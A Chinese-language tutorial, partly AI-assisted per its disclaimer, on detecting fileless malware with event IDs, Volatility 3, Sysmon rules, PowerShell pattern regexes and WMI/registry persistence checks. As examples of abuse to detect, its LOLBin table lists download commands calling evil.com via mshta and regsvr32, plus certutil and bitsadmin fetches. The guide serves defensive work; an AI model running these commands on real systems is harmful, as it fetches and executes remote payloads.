指南:Fileless 惡意軟件檢測 API 參考與落地實現(xiàn))
Anthropic-Cybersecurity-Skills 實戰(zhàn)指南Fileless 惡意軟件檢測 API 參考與落地實現(xiàn)【免費下載鏈接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0項目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-SkillsFileless無文件惡意軟件完全駐留于內(nèi)存或寄生在 PowerShell、WMI、.NET 反射、注冊表載荷與 LOLBins 等合法系統(tǒng)機制中幾乎不在磁盤上留下傳統(tǒng)可執(zhí)行文件。本文以 Anthropic-Cybersecurity-Skills 倉庫中的 detecting-fileless-malware-techniques 技能為骨架完整講解其 API 參考文檔 中的核心檢測參數(shù)——關(guān)鍵 Windows 事件 ID、python-evtx 日志解析、Volatility 3 內(nèi)存取證命令、Sysmon LOLBin 監(jiān)控規(guī)則、可疑 PowerShell 指標與 WMI 持久化檢查并結(jié)合倉庫內(nèi)的 agent.py 自動化腳本展示從日志掃描到報告生成的全鏈路落地方法。讀完本文你將掌握一套可直接復(fù)用的無文件惡意軟件檢測工具箱與取證工作流。檢測無文件威脅的關(guān)鍵 Windows 事件 ID無文件攻擊的每一步腳本執(zhí)行、進程注入、WMI 持久化、服務(wù)安裝都會在 Windows 事件日志中留下痕跡。API 參考文檔給出了一張核心事件 ID 速查表是構(gòu)建檢測規(guī)則的第一手素材Event ID日志來源說明4104PowerShell Operational腳本塊日志Script Block Logging記錄去混淆后的完整腳本內(nèi)容4103PowerShell Operational模塊日志Module Logging1Sysmon進程創(chuàng)建含完整命令行8SysmonCreateRemoteThread遠程線程注入10SysmonProcessAccess注入前的進程訪問19/20/21SysmonWMI 事件篩選器 / 事件消費者 / 篩選器與消費者的綁定7045System系統(tǒng)安裝了新服務(wù)其中Event ID 4104是 PowerShell 無文件檢測的基石Script Block Logging 記錄的是腳本去混淆后的完整內(nèi)容攻擊者常用的-encBase64 編碼、字符串拼接等混淆手段在 4104 事件中會以可讀形式暴露。而 Sysmon 的 19/20/21 三個事件分別對應(yīng) WMI 持久化的三要素Filter → Consumer → Binding是 Step 2 檢測 WMI 持久化 的日志依據(jù)。前置條件提醒來自 SKILL.md務(wù)必提前啟用 PowerShell Script Block Logging 與 Module Logging、部署并配置 Sysmon覆蓋進程創(chuàng)建、WMI 事件、注冊表變更、保留足夠時長的 Windows 事件日志并準備 Volatility 3、Process MonitorProcMon、Autoruns 等工具——否則事后無法回溯無文件攻擊軌跡。用 python-evtx 解析事件日志從 EVTX 中提取 4104 腳本內(nèi)容事件日志的取證解析通常不依賴圖形化事件查看器而是直接讀取.evtx文件。API 參考文檔給出了最精簡的 python-evtx 用法遍歷日志記錄、匹配 EventID 并輸出 XML 片段。import Evtx.Evtx as evtx with evtx.Evtx(Security.evtx) as log: for record in log.records(): xml record.xml() if EventID4104/EventID in xml: print(record.timestamp(), xml[:500])倉庫中的 agent.py 將這個思路工業(yè)化實現(xiàn)了對Microsoft-Windows-PowerShell%4Operational.evtx的自動掃描scan_powershell_logs()逐個記錄檢查EventID4104/EventID然后對腳本內(nèi)容執(zhí)行 14 條可疑模式正則匹配見下文PowerShell 可疑指標命中即輸出事件時間戳、檢測類型與 XML 片段且通過try/except跳過損壞記錄以增強健壯性agent.py。運行方式agent.py# 完整報告含 PowerShell 掃描、LOLBin 掃描、WMI 與注冊表持久化檢查 python3 agent.py report # 僅掃描 PowerShell 日志可指定自定義 EVTX 目錄 python3 agent.py powershell /path/to/logs # 僅掃描 Sysmon LOLBin 進程創(chuàng)建 python3 agent.py lolbinsVolatility 3 內(nèi)存取證捕捉只在內(nèi)存中的惡意代碼無文件惡意代碼唯一的藏身之處就是內(nèi)存因此內(nèi)存取證是決定性的一環(huán)。API 參考文檔提供的 Volatility 3 命令覆蓋了從發(fā)現(xiàn)到提取的完整流程# 檢測注入代碼RWX 內(nèi)存、非鏡像 VAD 中的 PE 頭 vol3 -f memory.dmp windows.malfind # 列出進程 vol3 -f memory.dmp windows.pslist # 掃描隱藏進程 vol3 -f memory.dmp windows.psscan # 列出已加載的 DLL vol3 -f memory.dmp windows.dlllist --pid 1234 # 提取注入代碼 vol3 -f memory.dmp windows.malfind --dump --pid 1234各命令的取證語義與用途如下windows.malfind核心命令。它會識別具有 RWX讀-寫-執(zhí)行權(quán)限的內(nèi)存區(qū)域、以及在非鏡像 VADVirtual Address Descriptor中出現(xiàn)的 PE 頭——這是進程注入與反射加載的標志性特征windows.pslist / windows.psscan前者基于內(nèi)核鏈表列出進程后者通過池掃描Pool Scanning找出被隱藏或終止后殘留的進程對象兩者配合可識別 rootkit 隱藏進程windows.dlllist --pid N核對目標進程如 powershell.exe實際加載的模塊列表排查反射加載、未映射到磁盤文件的 .NET 程序集windows.malfind --dump --pid N將可疑內(nèi)存區(qū)域?qū)С鰹槲募┖罄m(xù)靜態(tài)逆向分析。在 SKILL.md 的 Step 4 中這一步驟被進一步擴展使用windows.vadinfo --pid 4012 | grep -i PAGE_EXECUTE定位具備執(zhí)行權(quán)限的 VAD用windows.cmdline | grep -i powershell識別 PowerShell CLR 活動還可以通過 YARA 規(guī)則直接掃描內(nèi)存中的無文件框架特征如System.Reflection.Assembly、[System.Convert]::FromBase64String、Invoke-Expression、DownloadString。agent.py 中的run_volatility_malfind()封裝了對內(nèi)存鏡像的 malfind 調(diào)用并處理了 vol3 未安裝、超時等異常情況。Sysmon LOLBin 監(jiān)控白名單二進制濫用檢測LOLBinLiving Off the Land Binary指被攻擊者濫用的合法系統(tǒng)二進制文件。由于它們本身在應(yīng)用白名單內(nèi)傳統(tǒng)文件掃描完全失效必須通過 Sysmon 進程創(chuàng)建事件Event ID 1結(jié)合命令行參數(shù)進行行為檢測。API 參考文檔提供的 Sysmon 配置片段覆蓋了最常被濫用的六個二進制!-- Sysmon config for LOLBin monitoring -- RuleGroup groupRelationor ProcessCreate onmatchinclude Image conditionend withmshta.exe/Image Image conditionend withregsvr32.exe/Image Image conditionend withcertutil.exe/Image Image conditionend withwmic.exe/Image Image conditionend withcmstp.exe/Image Image conditionend withmsbuild.exe/Image /ProcessCreate /RuleGrouponmatchinclude語義是命中即采集因此該規(guī)則會完整記錄上述進程的每次創(chuàng)建及其完整命令行為后續(xù)規(guī)則匹配提供原始數(shù)據(jù)。SKILL.md 的 Step 1 進一步給出了每個二進制的具體濫用模式與檢測要點LOLBin典型濫用方式檢測要點mshta.exe執(zhí)行內(nèi)嵌 VBScript/JScript 的 HTAmshta http://evil.com/payload.hta或mshta vbscript:Execute(...)命令行出現(xiàn) URL 參數(shù)或vbscript:前綴regsvr32.exe通過 COM 加載腳本Squiblydooregsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll命令行含/i:URL 參數(shù)certutil.exe下載文件、Base64 解碼certutil -urlcache -split -f http://...或-decode命令行含-urlcache或-decoderundll32.exe執(zhí)行 DLL 導(dǎo)出函數(shù)或內(nèi)聯(lián) JavaScript命令行含javascript:參數(shù)wmic.exe通過 XSL 樣式表執(zhí)行代碼wmic process get brief /format:http://...命令行含/format:URL 參數(shù)bitsadmin.exe通過 BITS 服務(wù)下載文件bitsadmin /transfer job http://... C:\Temp\p.exe命令行含/transfer或/addfile指向外部 URLcmstp.exe通過 INF 文件執(zhí)行命令cmstp.exe /ni /s payload.inf從非標準路徑執(zhí)行agent.py 內(nèi)置了一個擴展版 LOLBIN 清單除上述條目外還涵蓋installutil.exe、regasm.exe、wscript.exe、cscript.exe并為每個二進制標注風(fēng)險等級HIGH / MEDIUM / CONTEXT與已知濫用方式scan_sysmon_for_lolbins()會遍歷Microsoft-Windows-Sysmon%4Operational.evtx中的 Event ID 1 記錄并逐個匹配agent.py。PowerShell 可疑指標清單腳本日志的快速判別基線PowerShell 是無文件攻擊最核心的執(zhí)行引擎而 4104 事件中的腳本內(nèi)容往往是惡意行為的第一現(xiàn)場。API 參考文檔提供了一份可直接用作正則基線的指標清單-enc / -EncodedCommand → Base64-encoded command IEX / Invoke-Expression → Dynamic code execution Net.WebClient → Download cradle DownloadString() → Remote script fetch Reflection.Assembly → Reflective .NET loading VirtualAlloc → Shellcode allocation FromBase64String → Payload decodingagent.py 在此基礎(chǔ)上擴充為 14 條可執(zhí)行正則并附帶了命中語義注釋SUSPICIOUS_PS_PATTERNS [ (r-enc\s, Encoded command execution), (rIEX\s*\(, Invoke-Expression (download cradle)), (rInvoke-Expression, Invoke-Expression), (rNet\.WebClient, WebClient download), (rDownloadString\(, Remote script download), (rDownloadFile\(, File download), (rFromBase64String, Base64 decoding), (rReflection\.Assembly, .NET reflection loading), (r\[System\.Convert\], Type conversion (possible decode)), (rNew-Object\sIO\.MemoryStream, In-memory stream (reflective load)), (rVirtualAlloc, Memory allocation (shellcode)), (rCreateThread, Thread creation (injection)), (rAdd-MpPreference.*ExclusionPath, Defender exclusion modification), (rSet-MpPreference.*DisableRealtimeMonitoring, Defender disablement), ]值得注意的兩類補充模式IO.MemoryStream暗示在內(nèi)存中構(gòu)建字節(jié)流進行反射加載Add/Set-MpPreference則指向防御規(guī)避——攻擊者先關(guān)閉或弱化 Windows Defender 再執(zhí)行載荷。實際告警日志中-enc編碼執(zhí)行、DownloadString遠程腳本拉取與Reflection.Assembly反射加載三類指標的組合出現(xiàn)幾乎可以確定是一次標準的無文件感染鏈。WMI 持久化檢查枚舉事件訂閱三要素WMI 事件訂閱是無文件攻擊最經(jīng)典的持久化手段由__EventFilter觸發(fā)條件、__EventConsumer執(zhí)行動作、__FilterToConsumerBinding綁定關(guān)系三個對象組成可跨重啟存活且不落盤。API 參考文檔提供了最直接的枚舉方法# List WMI event subscriptions Get-WMIObject -Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class __EventConsumer Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding在 SKILL.md 的 Step 2 中枚舉被細化到具體消費者類型# WMI 命令行枚舉wmic wmic /namespace:\\root\subscription path __EventFilter get Name,Query /format:list wmic /namespace:\\root\subscription path CommandLineEventConsumer get Name,CommandLineTemplate /format:list wmic /namespace:\\root\subscription path ActiveScriptEventConsumer get Name,ScriptText /format:list wmic /namespace:\\root\subscription path __FilterToConsumerBinding get Filter,Consumer /format:list實際排查時優(yōu)先關(guān)注兩類消費者CommandLineEventConsumer其CommandLineTemplate常直接包含powershell.exe -nop -w hidden -enc ...和ActiveScriptEventConsumer其ScriptText內(nèi)嵌完整惡意腳本。agent.py 的scan_wmi_persistence()通過調(diào)用Get-WMIObject ... -Class __EventFilter | Select-Object Name, Query | ConvertTo-Json自動收集篩選器列表并將結(jié)果結(jié)構(gòu)化輸出。同時SKILL.md 還給出了一段基于wevtutilxml.etree的 WMI 事件解析腳本查詢 Sysmon 日志中 Event ID 19/20/21 的 XML 記錄分別提取篩選器名稱與查詢語句19、消費者名稱/類型/目標20、消費者與篩選器的綁定關(guān)系21實現(xiàn) WMI 持久化創(chuàng)建行為的實時告警。注冊表駐留載荷排查部分無文件惡意軟件將編碼后的載荷通常是 Base64 的 PowerShell 腳本或 .NET 程序集存放在注冊表值中由 Run 鍵下的短小加載器執(zhí)行。SKILL.md 的 Step 3 提供了命令行與 Python 兩套排查手段# 檢查常見自啟動注冊表位置 reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /s reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run /s reg query HKCU\Environment /s # 在注冊表中搜索 PowerShell 編碼命令特征 reg query HKCU\Software /s /f powershell 2nul reg query HKCU\Software /s /f -enc 2nulPython 側(cè)則用winreg遞歸遍歷HKCU\Software與HKLM\Software深度 3 層對長度超過 500 字符的字符串值做 Base64 解碼探測并匹配powershell/invoke/iex/-enc關(guān)鍵字SKILL.md。agent.py 中的scan_registry_run_keys()則檢查 HKLM/HKCU 的 Run 與 RunOnce 鍵將其中出現(xiàn)的 LOLBin 名稱標記為 HIGH 風(fēng)險持久化項。構(gòu)建檢測規(guī)則Sigma 規(guī)則與完整攻擊鏈還原有了事件 ID、日志來源與模式指標即可沉淀為可復(fù)用的檢測內(nèi)容。SKILL.md 的 Step 5 給出了兩條 Sigma 規(guī)則第一條將 LOLBin 執(zhí)行與網(wǎng)絡(luò)參數(shù)關(guān)聯(lián)mshta匹配http/vbscript:/javascript:certutil匹配-urlcache/-decoderegsvr32匹配/i:httpwmic匹配/format:http第二條直接以 Sysmon Event ID 19/20/21 作為 WMI 持久化的檢測信號。Sigma 規(guī)則可無縫轉(zhuǎn)換到 Splunk、Elastic 等 SIEM 平臺是 API 參考文檔中事件 ID 表格的直接消費場景。檢測之外還原攻擊鏈才能指導(dǎo)處置。SKILL.md 的 Step 6 將無文件攻擊劃分為六個階段Phase 1 - Initial Access: 釣魚宏 - mshta.exe/PowerShellLOLBin 濫用或 Web 漏洞 - regsvr32/certutil 下載 scriptlet Phase 2 - Execution: PowerShell 內(nèi)存中執(zhí)行腳本.NET Assembly.Load() 反射加載WMI 創(chuàng)建進程橫向移動 Phase 3 - Persistence: WMI 事件訂閱跨重啟存活、注冊表存儲編碼載荷Run 鍵加載、計劃任務(wù)執(zhí)行內(nèi)聯(lián) PowerShell Phase 4 - Privilege Escalation: 內(nèi)存中 Invoke-Mimikatz 竊取憑據(jù)、WMI 命名管道模擬 Phase 5 - Lateral Movement: WMI 遠程創(chuàng)建進程無需傳文件、PowerShell 遠程WinRM、PsExec 經(jīng) WMI Phase 6 - Exfiltration: PowerShell HTTP POST 至 C2、DNS 隧道、云存儲 API 上傳配合 SKILL.md 的 Output Format 示例最終輸出應(yīng)包含初始訪問向量、LOLBin 調(diào)用鏈、持久化機制WMI 篩選器/消費者/命令、解碼載荷分層、注冊表載荷位置、內(nèi)存工件注入的 .NET 程序集地址與 YARA 檢測結(jié)果、提取的 IOC 及對應(yīng)的 MITRE ATTCK 技術(shù)映射T1059.001 PowerShell、T1546.003 WMI 事件訂閱、T1218.005 Mshta、T1112 修改注冊表、T1055.012 進程鏤空。該技能在倉庫中的 ATTACK_COVERAGE.md 里與 T1546.003、T1055.012、T1112、T1218.005 四項技術(shù)建立映射同時在mitre_attack元數(shù)據(jù)中聲明覆蓋 T1027、T1055、T1140、T1497、T1547可據(jù)此在 attack-navigator-layer.json 中疊加可視化覆蓋度。實戰(zhàn)落地自動化檢測腳本的調(diào)用與產(chǎn)出將上述能力串聯(lián)起來就是倉庫提供的完整檢測代理 agent.py。其入口支持五個子命令agent.py# 一鍵生成完整檢測報告PowerShell 掃描 LOLBin 掃描 WMI 注冊表持久化 python3 agent.py report # 單獨執(zhí)行某一維度掃描 python3 agent.py powershell [log_dir] # PowerShell 腳本塊日志掃描 python3 agent.py lolbins # Sysmon LOLBin 進程創(chuàng)建掃描 python3 agent.py wmi # WMI 事件訂閱篩選器枚舉 python3 agent.py registry # Run/RunOnce 注冊表持久化檢查 python3 agent.py malfind memory.dmp # 對內(nèi)存鏡像執(zhí)行 Volatility malfind實現(xiàn)要點與本文前述內(nèi)容一一對應(yīng)依賴python-evtx可選缺失時返回錯誤信息而非崩潰默認日志目錄為C:\Windows\System32\winevt\LogsPowerShell 日志文件為Microsoft-Windows-PowerShell%4Operational.evtxSysmon 日志為Microsoft-Windows-Sysmon%4Operational.evtx每次掃描結(jié)果限制返回前 50 條告警report模式輸出 JSON 格式可直接對接下游告警平臺或分析管線。常見場景與避坑要點SKILL.md 的場景示例 給出了一個典型調(diào)查流程Sysmon 告警顯示 WMI 事件訂閱創(chuàng)建后伴隨周期性 PowerShell 執(zhí)行、且磁盤上無對應(yīng)惡意文件、攻擊跨重啟存活。處置步驟為① 枚舉 WMI 命名空間中的事件篩選器/消費者/綁定定位持久化機制 → ② 提取 CommandLineEventConsumer 或 ActiveScriptEventConsumer 中的載荷 → ③ 解碼 PowerShell 命令通常為-encBase64注意 UTF-16LE 編碼→ ④ 回溯 4104 腳本塊日志獲取去混淆全文 → ⑤ 內(nèi)存轉(zhuǎn)儲分析反射加載的程序集與注入代碼 → ⑥ 檢查注冊表中被腳本引用的存儲載荷 → ⑦ 還原完整攻擊鏈。實踐中容易踩的坑來自 SKILL.md 的 Pitfalls 部分事發(fā)前未開啟 Sysmon WMI 事件日志19/20/21事后無法回溯持久化創(chuàng)建行為取證前重啟系統(tǒng)——內(nèi)存中的無文件證據(jù)隨重啟永久消失務(wù)必先抓內(nèi)存轉(zhuǎn)儲只盯著文件型 IOC而攻擊全程未落盤忽略初始訪問痕跡——LOLBin 執(zhí)行留下的日志極為稀疏需要主動搜索 Event ID 1 的命令行特征。小結(jié)本文以 api-reference.md 為骨架完整展開了無文件惡意軟件檢測所需的事件 ID 速查表、python-evtx 日志解析、Volatility 3 內(nèi)存取證命令、Sysmon LOLBin 監(jiān)控配置、PowerShell 可疑指標與 WMI 持久化檢查六類核心 API/參數(shù)并以 SKILL.md 的六步工作流與 agent.py 的自動化實現(xiàn)作為落地佐證。這套方法適用于EDR 告警顯示可信系統(tǒng)二進制出現(xiàn)可疑行為攻擊不留傳統(tǒng)文件WMI 訂閱/注冊表載荷/計劃任務(wù)被用于持久化內(nèi)存取證發(fā)現(xiàn)惡意代碼但文件系統(tǒng)無對應(yīng)文件等典型場景對于傳統(tǒng)基于文件的惡意軟件靜態(tài)與動態(tài)分析仍是更合適的路徑詳見 SKILL.md 的適用范圍說明。【免費下載鏈接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0項目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills創(chuàng)作聲明:本文部分內(nèi)容由AI輔助生成(AIGC),僅供參考